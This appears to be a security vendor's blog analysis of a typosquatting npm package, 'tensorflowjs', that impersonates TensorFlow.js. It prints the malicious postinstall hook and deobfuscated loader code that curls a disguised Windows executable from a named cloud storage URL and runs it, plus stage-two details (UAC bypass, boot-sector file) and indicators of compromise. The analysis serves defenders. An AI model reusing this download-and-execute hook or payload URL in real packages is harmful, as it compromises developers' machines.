TensorFlow.js Typosquatting Attack: Malicious Package Targeting AI/ML Developers
A sophisticated typosquatting attack targeting TensorFlow.js
developers was discovered, distributing heavily obfuscated malware through automatic post install scripts. In this blog, we will explore the technical details of the malware and demonstrate its sophisticated evasion techniques.
TL;DR
A malicious npm package named [email protected]
was discovered attempting to impersonate the legitimate @tensorflow/tfjs package. The package contains heavily obfuscated JavaScript malware that executes automatically during installation via a post install script called thanksinstall.js
. The malware employs multiple layers of obfuscation including hex encoding, function name mangling, and character code substitution to evade detection. The package was published by a suspicious account [email protected]
.
In this blog post, we provide a comprehensive technical analysis of the malicious package, including its obfuscation techniques, behavioral patterns, and indicators of compromise. We also demonstrate how modern security tools can protect developers from such sophisticated supply chain attacks.
NOTE: The analysis is work in progress. We will update the blog post with more details as we continue to investigate the attack.
Timeline
The malicious package [email protected]
was discovered by our automated analysis system. Subsequent analysis by our team confirmed the malicious intent.
Key Discovery Points
- Package Name:
tensorflowjs
(impersonating@tensorflow/tfjs
) - Version: 0.7.0
- Publisher:
graphite7199
with email[email protected]
- Target: AI/ML developers installing TensorFlow.js packages
- Attack Vector: Automatic execution via npm post install scripts, download and execute PE32+ executable, targeting Windows systems
What is the Impact?
Our analysis identified sophisticated malware delivered through heavily obfuscated JavaScript code in the thanksinstall.js
file. The malware specifically targets Windows systems and includes multiple evasion techniques:
Technical Impact Analysis
Component | Size | Purpose |
---|---|---|
thanksinstall.js | 14,883 bytes | Primary malware payload with post install execution |
index.js | 94,728 bytes | Decoy message |
package.json | 275 bytes | Contains malicious post-install hook |
README.md | 5,743 bytes | Likely copied from legitimate package for disguise |
Obfuscation Techniques Detected
The malware employs multiple sophisticated obfuscation layers:
- Hex String Obfuscation: Critical functions and strings are encoded in hexadecimal
- Function Name Mangling: All variables use
_0x
prefixed random identifiers - Character Code Substitution: Integer to string conversion with custom cipher
- Control Flow Obfuscation: Encrypted string decryption routines
How SafeDep can protect developers?
SafeDep open source tools especially vet and pmg can help protect developers from malicious packages and other open source software supply chain attacks. In this specific case, our automated systems flagged the package as suspicious due to multiple signals, including identifying the malicious code and intention in typosquatting packages.
For example, pmg will alert developers when trying to install the compromised package.
➜ ~ alias npm="pmg --verbose npm"ℹ️ Resolving dependencies for 1 package(s) ... ⠸ℹ️ Analyzing 1 dependencies for malware ... ⠦
🚨 Suspicious package(s) detected: 1
Package is likely malicious due to code obfuscation, arbitrary command executionvia `child_process.spawn`, and suspicious `postinstall` script.
Reference: https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C
Do you want to continue with the installation? (y/N)
Similarly, vet will alert users in CI/CD pipelines when trying to add any of the compromised package through a PR.
Technical Analysis
Our analysis was based on [email protected]
with the following file structure:
package/├── package.json (275 bytes)├── index.js (94,728 bytes)├── thanksinstall.js (14,883 bytes)└── README.md (5,743 bytes)
The package.json reveals the malicious post-install hook:
{ "name": "tensorflowjs", "version": "0.7.0", "description": "Node.js moduIe for using TensorFIow graphs and modeIs", "main": "index.js", "scripts": { "postinstall": "node thanksinstall.js" }, "author": "グラファイト", "license": "MIT"}
Analyzing thanksinstall.js
The thanksinstall.js
file contains the primary malware payload. While heavily obfuscated, our analysis identified several key components:
Obfuscation Structure
The file begins with a complex obfuscation function that uses hex-encoded strings and character code substitution:
function _0x3910(_0x57ed37,_0x28d098){ var _0x671258=_0x4a23(); return _0x3910=function(_0x285c0e,_0x46f836){ _0x285c0e=_0x285c0e-(0x3*-0x4c+0x917+-0x2*0x3d9); var _0x2e8565=_0x671258[_0x285c0e]; // ... complex deobfuscation routine },_0x3910(_0x57ed37,_0x28d098);}
Manual analysis reveals some of the interesting parts of the code:
Checks for Windows platform:
if (_0x5bc963.platform() !== "win32") { process.exit(0);}
Downloads and executes 2nd stage payload:
const _0x509b60 = _0x3e9485.join(_0x5bc963.tmpdir(), "installthanks.png");const _0x20c1f1 = ['-L', "https://storage.googleapis.com/nainaraz/success.png", '-o', _0x509b60];const _0x3e7657 = { windowsHide: true};function _0x2ac5a0(_0x3ad262, _0x1d30ef, _0xaf41b6, _0x4b31fc, _0x548376) { return _0x2935(_0x3ad262 - 0xa, _0x1d30ef);}const _0x2da3a9 = _0x1a6125("C:\\Windows\\System32\\curl.exe", _0x20c1f1, _0x3e7657);
This in turn executes the following command:
- Downloads PE32+ executable from
https://storage.googleapis.com/nainaraz/success.png
- Downloads to
%TEMP%\installthanks.png
- Executes the downloaded executable using
cmd.exec /c start <path to executable>
➜ wget https://storage.googleapis.com/nainaraz/success.png➜ file success.pngsuccess.png: PE32+ executable (GUI) x86-64, for MS Windows➜ sha256 success.pngSHA256 (success.png) = 863d274bbeb22ab969f742a06d89bdf0ababb99fdeb074a0fd9057f28b1ef257
Analyzing index.js
The index.js
file contains additional obfuscated code that appears to serve as a decoy. It follows similar obfuscation patterns but includes what appears to be a legitimate console.log statement at the end:
console[_0x117039(_0x4d7185._0x2b9c21,-_0x4d7185._0x55ffff,-_0x4d7185._0x579028,-_0x4d7185._0x4e2e46,-_0x4d7185._0xbfce91)](// ... extremely long obfuscated string that when decoded appears to output:// "Thanks for installing our package! Please report any issues on GitHub."
This appears to be an attempt to make the package seem legitimate by displaying a benign message while the real malware executes in the background.
Deobfuscated code reveals the following:
function _0x5447e2() { console.log("“Movies that claim to recreate the past” are 90% fantasy filtered through modern eyes.\n\nPeriod dramas and historical films are full of lies.\nWhy? Because they're made by modern people for modern audiences.\nThat means they inevitably include modern moral values like:\n\nExample 1: Respect for Women\nIn many historical societies, women were treated like property.\nBut in today’s films, you get “strong independent heroines” or “warrior princesses” as a given.\nTruth is, a woman acting like that back then? She’d have been executed on the spot.\n\nExample 2: Value of Human Life\nIn historical wars, massacring prisoners was standard.\nYet in modern films, you hear lines like “Don’t kill them” or “Every life is precious.”\nThat’s not history—that’s modern humanism in costume.\n\nExample 3: Equality and Justice\nCaste systems, rigid social hierarchies, and slavery were the norm.\nStill, modern dramas will push “we're all equal” or “love that transcends class” as emotional highlights.\n\nWhy does this happen?\nSimple:\nIf you truly portrayed the past as it was, modern viewers would be disgusted.\nThey’d see every character as a vile, irredeemable piece of trash.\n\nUnless you inject modern morality, the characters become impossible to empathize with.\n\nSo what’s the result?\nWe’re not watching a “recreation.”\nWe’re watching a modern fantasy of an idealized past.\n\nReal history?\nIt was brutal, unfair, oppressive, and life was cheap.\nPortray it accurately, and even an R-rating wouldn’t be enough.\n\n ");}_0x5447e2();
Analyzing Stage2 Binary
The stage2 binary was downloaded from https://storage.googleapis.com/nainaraz/success.png
by the thanksinstall.js
file.
The 2nd stage binary is a PE32+ executable that is downloaded and executed by the thanksinstall.js
file. We started by looking at some of the interesting strings in the binary.
C:\Users\kenken\Downloads\waruikoto\node_modules\speaker\build\Release\binding.pdbC:\snapshot\waruikoto\node_modules\glob\dist\commonjs\index.jsWinnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4
Looking at strings(1)
, it was evident that the executable was created by bundling Javascript files with Node.js and a loader, likely created using vercel/pkg. Presence of bootstrap.js from vercel/pkg is a strong indicator for this.
Building a custom extractor for vercel/pkg
is a bit tricky, but we were able to extract the Javascript files:
-rw-rw-rw- 1 dev wheel 56840015 13 Aug 00:06 \waruikoto\loader-uacbypass\cliui.png-rw-rw-rw- 1 dev wheel 48305652 13 Aug 00:06 \waruikoto\loader-uacbypass\cliui2.png-rw-rw-rw- 1 dev wheel 107520 13 Aug 00:06 \waruikoto\loader-uacbypass\coremodule.dll-rw-rw-rw- 1 dev wheel 161144 13 Aug 00:06 \waruikoto\loader-uacbypass\index.js-rw-rw-rw- 1 dev wheel 506 13 Aug 00:06 \waruikoto\loader-uacbypass\package.json-rw-rw-rw- 1 dev wheel 108544 13 Aug 00:06 \waruikoto\loader-uacbypass\sigma2.exe
Looking at the file types
\waruikoto\loader-uacbypass\cliui.png: PE32+ executable (GUI) x86-64, for MS Windows\waruikoto\loader-uacbypass\cliui2.png: PE32+ executable (GUI) x86-64, for MS Windows\waruikoto\loader-uacbypass\coremodule.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows\waruikoto\loader-uacbypass\index.js: data\waruikoto\loader-uacbypass\package.json: JSON data\waruikoto\loader-uacbypass\sigma2.exe: PE32+ executable (console) x86-64, for MS Windows
The payload is a Node.js application with its own package.json
containing:
{ "name": "logo", "version": "1.0.0", "bin": "index.js", "pkg": { "targets": [ "node16-win-x64" ], "scripts": [ "index.js" ], "assets": [ "cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll" ] }, "files": [ "index.js", "cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll" ], "dependencies": { "child_process": "^1.0.2" }, "scripts": { "start": "node index.js", "build": "pkg ." }}
We found the string C:\Users\kenken\Downloads\QuickAssist_UAC_Bypass-main\QuickAssist_UAC_Bypass-main\x64\Release\QuickAssist_UAC_Bypass.pdb
in sigma2.exe
which indicates that the executable is a Windows UAC bypass tool, likely QuickAssist_UAC_Bypass.
The coremodule.dll
is likely the payload executed through UAC bypass.
The embedded cliui.png
and cliui2.png
are in turn vercel/pkg
packaged executables which in turn contains multiple executables.
\waruikoto\boot.bin
\waruikoto\coremodule.exe
\waruikoto\coremodule3.exe
The presence of the following file was unusual and interesting:
$ file \\waruikoto\\boot.bin\waruikoto\boot.bin: DOS/MBR boot sector
- Another interesting indicator was URL to Discord server
https://discord.gg/8WYA8z2xf4
Conclusion
The tensorflowjs
typosquatting attack represents a sophisticated supply chain threat specifically targeting the AI/ML development community. By impersonating the popular TensorFlow.js library, attackers attempted to compromise developer environments through automatic execution of heavily obfuscated malware.
Tools like vet and pmg are built to protect developers against the risk of getting hacked due to malicious code from open sources. Irrespective of specific tools, we recommend all software development teams to adopt appropriate guardrails to protect against malicious open source packages at various stages in their SDLC.
Appendix
Indicators of Compromise (IOCs)
- Package Name:
[email protected]
- Publisher:
graphite7199
- Email:
[email protected]
- SHA256 (thanksinstall.js): 10f9a1d620fa82e991977fcbb9ad20da3193f8a2f540bdfb80a37251bb290ae0
- SHA256 (index.js): 6e7f9a3c65fb053f1f5aa0a152f8490ed4a019573b54acf6e3f7d91daba973b8
Other interesting strings in various embedded executables:
C:\Users\kenro\source\repos\